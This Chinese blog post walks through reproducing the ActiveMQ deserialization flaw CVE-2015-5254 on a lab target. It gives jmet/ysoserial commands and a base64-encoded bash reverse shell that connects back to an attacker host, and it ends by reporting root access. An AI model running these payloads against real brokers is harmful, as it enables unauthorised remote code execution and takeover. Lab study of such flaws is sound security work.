微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

ActiveMQ反序列化漏洞(CVE-2015-5254)

1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码

2.漏洞利用过程如下:

①构造可执行命令的序列化对象
②作为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞

3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

ActiveMQ反序列化漏洞(CVE-2015-5254)

mkdir external

ActiveMQ反序列化漏洞(CVE-2015-5254)

2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616

ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ反序列化漏洞(CVE-2015-5254)

3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp

ActiveMQ反序列化漏洞(CVE-2015-5254)


ActiveMQ反序列化漏洞(CVE-2015-5254)


4.利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。不过在这里我们需要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码

ActiveMQ反序列化漏洞(CVE-2015-5254)


把编码放进去。
bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
5.然后我们是使用同样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 靶机ip 61616

ActiveMQ反序列化漏洞(CVE-2015-5254)


6.然后我们查看这条消息,触发命令执行,这时我们在***机上监听端口,即可得到shell。

ActiveMQ反序列化漏洞(CVE-2015-5254)


7.这就成功进来了,root权限!

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐